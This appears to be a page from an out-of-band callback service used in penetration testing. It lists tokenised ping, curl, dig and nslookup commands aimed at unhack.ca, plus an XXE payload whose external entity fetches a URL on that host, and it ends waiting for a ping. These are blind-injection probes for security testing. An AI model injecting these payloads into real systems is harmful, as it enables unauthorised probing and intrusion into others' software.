$ ping -c1 -p 00807cf31dd314b1e3af28d1f5515900 unhack.ca
 
$ curl http://unhack.ca/p/807cf31dd314b1e3af28d1f55159
 
$ dig 807cf31dd314b1e3af28d1f55159 @unhack.ca
 
$ dig 807cf31dd314b1e3af28d1f55159.ns.unhack.ca
 
C:\> nslookup 807cf31dd314b1e3af28d1f55159 unhack.ca
 
<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/807cf31dd314b1e3af28d1f55159">]>
    <foo>&xxe;</foo>
Waiting for ping...